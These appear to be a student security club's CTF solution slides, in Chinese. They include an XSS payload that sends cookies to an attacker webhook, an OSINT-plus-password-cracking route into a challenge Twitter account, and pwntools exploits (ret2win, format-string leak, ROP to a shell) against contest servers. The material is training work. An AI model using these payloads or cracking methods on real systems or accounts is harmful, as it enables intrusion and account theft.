2024 春季資安組社內賽 題解簡報 --- 平台link:http://23.146.248.20:4000/ --- WEB --- Clicke Me https://clicker-vjwi.onrender.com/ ---- 觀察 ![image](https://hackmd.io/_uploads/B1ag_BFl0.png =80%x) 一個大型的按鈕,直接按下去沒有flag ---- ![image](https://hackmd.io/_uploads/SJiG_HKeC.png) ---- 利用瀏覽器f12工具開啟查看元素 ![image](https://hackmd.io/_uploads/B1_mFHYg0.png) 發現送出了一個no的參數,改成yes看看 (其實其他東西也都可以) ---- 成功拿到flag ![image](https://hackmd.io/_uploads/ByElFBtxR.png) --- ENUM https://iced-2024comp-enum.onrender.com/ ---- 觀察 直接進去後發現進到`/@1`的子目路,同時有 `Wrong ID qq` 的提示 ---- 推測是要進行`/@`後面的數字id爆破 利用python requests套件撰寫腳本 ---- solve.py ```py import requests as req url='https://iced-2024comp-enum.onrender.com/@' for i in range(1, 1001): web=req.get(url+str(i)) if 'Wrong ID qq' not in web.text: print(i, web.text) break ``` --- XSS https://iced-2024comp-xss-onrender-com.onrender.com/ ---- 觀察 題目敘述已經點名要利用 XSS 攻擊偷取cookie 點擊後發現get參數中的content有XSS的弱點 ---- 照慣例跳個`alert(1)` :D ![image](https://hackmd.io/_uploads/SJxYMUKlR.png) 記得要url encode ---- 但是直接送給admin會發現`%3C`和`%3E` 都被拔掉了,會做不了XSS(`<`和`>`) ![image](https://hackmd.io/_uploads/Hy5yQUFeC.png) ---- TIP `%%3C3C` replace掉後頭尾的字串相接剛好又是`%3C` ---- FINAL PAYLOAD webhook_url要替換成自己的 ```html %%3C3Cimg%20src%3D%27x%27%20onerror%3D%22location.href%3D%27webhook_url%3F%27%2Bdocument.cookie%22%%3E3E ``` 生成方法就是把本來的payload會被替換掉的字元前後用前一頁的方法換掉 ---- ![image](https://hackmd.io/_uploads/BJdYE8FeA.png) --- Hack My X https://twitter.com/JulianLaup ---- 觀察 打twitter帳號?! ~~google:twitter account hack~~ 你如果知道怎麼直接打拜託不要在這裡浪費人才✅ ---- 1.對方是澳洲人(AU) ![image](https://hackmd.io/_uploads/rkIGHLYeA.png) ---- 2.FB帳號洩漏 ![image](https://hackmd.io/_uploads/Hkn4SLYxA.png) ---- 3.生日和部落格 ![image](https://hackmd.io/_uploads/HyV8HUYlR.png) ---- 4.進到部落格 ![image](https://hackmd.io/_uploads/ByOstUtx0.png) 從下面的貼文得知應該是利用sqlite架設的資料庫 ---- SQL INJECTION 這邊直接使用sqlmap :D ![image](https://hackmd.io/_uploads/Hkdl5ItgA.png) 發現都是md5 hash過的值 拿到teddybear這個密碼 ---- 利用線上工具檢查知道Shiro的密碼是 `nogamenolife` ---- 綜合上面資訊,來炸twitter_pwd的密碼 可以利用python自己寫腳本(itertools, for迴圈) ---- brute.py ```py from itertools import permutations from hashlib import md5 wordlist=[b'Julian', b'Paul', b'Shiro', b'AU', b'Australia', b'TW', b'Taiwan', b'teddybear', b'2000', b'0607', b'nogamenolife', b'whale', b'shark'] def gen(x): s=b'' for i in x: s+=i return s for i in range(1, 5): for j in permutations(wordlist,i): if md5(gen(j)).hexdigest()=='f79975048e623bce754379568af584a3': print(gen(j)) break ``` ![image](https://hackmd.io/_uploads/SyxsgPtx0.png) ---- 回到login頁面登入 ![image](https://hackmd.io/_uploads/rJYVZDYl0.png) p.s.這也真的是twitter密碼 ---- ![image](https://hackmd.io/_uploads/HkGYZwKx0.png =50%x) 就藏在跟我的對話w --- Crypto --- Baby Crypto ---- 1790531886834176213781170709574166457231961725 ---- 整數換成字串 ![image](https://hackmd.io/_uploads/rkNC-wKgA.png) 也可以用線上的工具 ---- 凱薩密碼 ![image](https://hackmd.io/_uploads/rJuxMDFe0.png =80%x) 啪,沒了 --- TMI ---- for迴圈枚舉三個三個做廣播攻擊 (中國剩餘定理) ~~然後格式處理很討厭我很抱歉~~ 請恕我不放腳本owob --- SupCracker ---- 觀察 首先可以透過洩漏的大部分密鑰的hash值炸回去 ![image](https://hackmd.io/_uploads/Sk4gQwKlR.png) (嚴格來說應該使用john或hashcat,~~但我懶~~) ---- 接著獲得大部分的密鑰值後可以利用折半枚舉 (一半做明文加密一次後的枚舉,另一半做密文解密一次的枚舉) (這步在資安稱為MitM攻擊(中間相遇)) ---- crack.py ```py ''' leak:6c0b4b76b562225f19ff5f62186f5384 test_ciphertext='50c3396d24d6a207c43f343adbfe2e00' flag_ciphertext='933f2c449f0f040680723ab7c6cdfd90c1860e1d3dbbeacaf66f1074ffca7bef75a93aae837ba0f7a3b9d713e4e1c0437d8cb4e6ed5b53a96fd458b01d4f0b0649c1f426634675fe25d5abc085edefda' ''' from Crypto.Cipher import AES from tqdm import * def pad(m): padlen = -len(m) % 16 return m + bytes([0] * padlen) key=b'whaleshark' msg1=b'TEST~1, 2, 3' leak1=bytes.fromhex('50c3396d24d6a207c43f343adbfe2e00') testing={b'1'} form={b'1':b'1'} flag=bytes.fromhex('933f2c449f0f040680723ab7c6cdfd90c1860e1d3dbbeacaf66f1074ffca7bef75a93aae837ba0f7a3b9d713e4e1c0437d8cb4e6ed5b53a96fd458b01d4f0b0649c1f426634675fe25d5abc085edefda') for i in trange(100000, 999999): aes=AES.new(key+str(i).encode(), AES.MODE_ECB) testing.add(aes.encrypt(pad(msg1))) form[aes.encrypt(pad(msg1))]=i for i in trange(100000, 999999): aes=AES.new(key+str(i).encode(), AES.MODE_ECB) if aes.decrypt(leak1) in testing: aes1=AES.new(key+str(form[aes.decrypt(leak1)]).encode(), AES.MODE_ECB) print(aes1.decrypt(aes.decrypt(flag))) break ``` ![image](https://hackmd.io/_uploads/rJRuQDFxR.png) --- Equation ---- 觀察 其時 p, q 都很接近 base 這時候可以使用Coppersmith Method (p.s.上課沒有教而且是非高中數學不會超正常) ---- 這邊直接使用sage math進行解題 ![image](https://hackmd.io/_uploads/rJ8RBPYx0.png) --- Pwn --- Palindrome ---- 連上去發現要做一百道判斷迴文題 ![image](https://hackmd.io/_uploads/Skxgo8wKl0.png) ---- pwntools新手題 ```py from pwn import * r=remote('23.146.248.20', 40001) s=r.recvlines(2) print(s) for i in range(100): r.recvline() s=r.recvline().split(b"'")[1] if s==s[::-1]: r.sendline(b'YES') else: r.sendline(b'NO') print(r.recvline()) r.interactive() ``` ---- s[::-1]就python是把s給翻過來 ![image](https://hackmd.io/_uploads/HkYpIwFe0.png =50%x) --- Shop ---- 上IDA ![image](https://hackmd.io/_uploads/SklUOPYeA.png =70%x) 首先,v6要等於rand()的值 根據旁邊結果知道time_t占 8 bytes,所以如果輸入要改 v9[-4] 的元素就可以改掉 v6的值 ---- 最後利用隨機種子為時間的弱點 寫本地腳本同步攻擊 ---- ```c #include <stdio.h> #include <stdlib.h> #include <time.h> int main() { int i, n; time_t t; n = 5; srand((unsigned) time(&t)+1); for( i = 0 ; i < n ; i++ ) { printf("%d\n", rand()); } return(0); } ``` time_t要+1是因為連線時間差 ---- Exploit 利用linux `&&` 串接指令的特性和sleep進行利用 ![image](https://hackmd.io/_uploads/BJHmtDFx0.png) --- RET ---- 標準的ret2code攻擊 no stack canary, no pie ![image](https://hackmd.io/_uploads/HJKoKDtg0.png) ---- padding大小是16 bytes ![image](https://hackmd.io/_uploads/S1hPtvFxA.png) ---- win address ![image](https://hackmd.io/_uploads/ry2tKDtlC.png) ---- 但是要跳過 push rbp 的部分 ret去`0x0040119b` ![image](https://hackmd.io/_uploads/r1lTKDKlR.png) ---- Exploit ```py from pwn import * r=remote('23.146.248.20', 40013) win_addr=0x0040119b padding=16+8 r.sendline(b'a'*padding+p64(win_addr)) r.interactive() ``` ![image](https://hackmd.io/_uploads/H1AQ9vKlA.png) p.s.它也可以被ROP RCE但沒必要ww --- WOF ---- 其實這題出的很過分,我檢討= = ---- 攻擊流程: ``` format string leak PIE 和 STACK CANARY 串ROP CHAIN,包含GET去可寫的bss段(用gdb vmmap看) 還有串syscall的經典ROP 2 RCE ``` ---- Exploit ```py from pwn import * #r=process('./wof') r=remote('23.146.248.20', 40003) rop=ROP('./wof') context.arch='amd64' # datas bss=(0x000c8de0+0x000cf860)//2 pop_rax=rop.rax[0] pop_rdi=rop.rdi[0] pop_rsi=rop.rsi[0] pop_rdx=rop.rdx[0] ret=pop_rsi+1 syscall=rop.syscall[0] gets=0x00020a90 main=0x0000a1cd # exploit s=r.recvlines(3) print(s) payload1=b'%17$p,%23$p#'.ljust(64, b'r')+b'\xff'+b'#%14$p' r.sendline(payload1) s=r.recvline() print(s) s=s.replace(b'\xff', b'').decode().replace('Welcome ', '').split('#')[0].split(',') canary=int(s[0], 16) piebase=int(s[1], 16)-main info(f"Input length changed, stack canary:{hex(canary)}, PIE base:{hex(piebase)}") s=r.recv() print(s) bss+=piebase pop_rax+=piebase pop_rdi+=piebase pop_rsi+=piebase pop_rdx+=piebase syscall+=piebase ret+=piebase gets+=piebase main+=piebase #r.interactive() #payload2=b'a'*56+p64(canary)+b'a'*8+flat(pop_rdi, bss, gets, pop_rdi, bss, ret, system) payload2=b'a'*56+p64(canary)+b'a'*8+flat(pop_rdi, bss, gets, ret, pop_rax, 0x3b, pop_rdi, bss, pop_rsi, 0, pop_rdx, 0, syscall) info(f"ROP CHAIN 1 EXPLOITED!!!") info(f"Payload length:{len(payload2)}") r.sendline(payload2) #r.interactive() r.sendline(b'/bin/sh\x00') info(f"Shell sent!!!") r.interactive() ``` ---- ![image](https://hackmd.io/_uploads/Sk1a5vKgA.png) *如果有學員打出這題請幫他拍拍手 --- REV 99%會有人破台我先不打 --- FORENSICS 99%會有人破台我先不打 ---
{"title":"2024 春季資安組社內賽 題解簡報","contributors":"[{\"id\":\"4aa04276-c8ec-490d-a620-ec3b4e8e3d7c\",\"add\":8128,\"del\":86}]","description":"2024 春季資安組社內賽 題解簡報"}
    342 views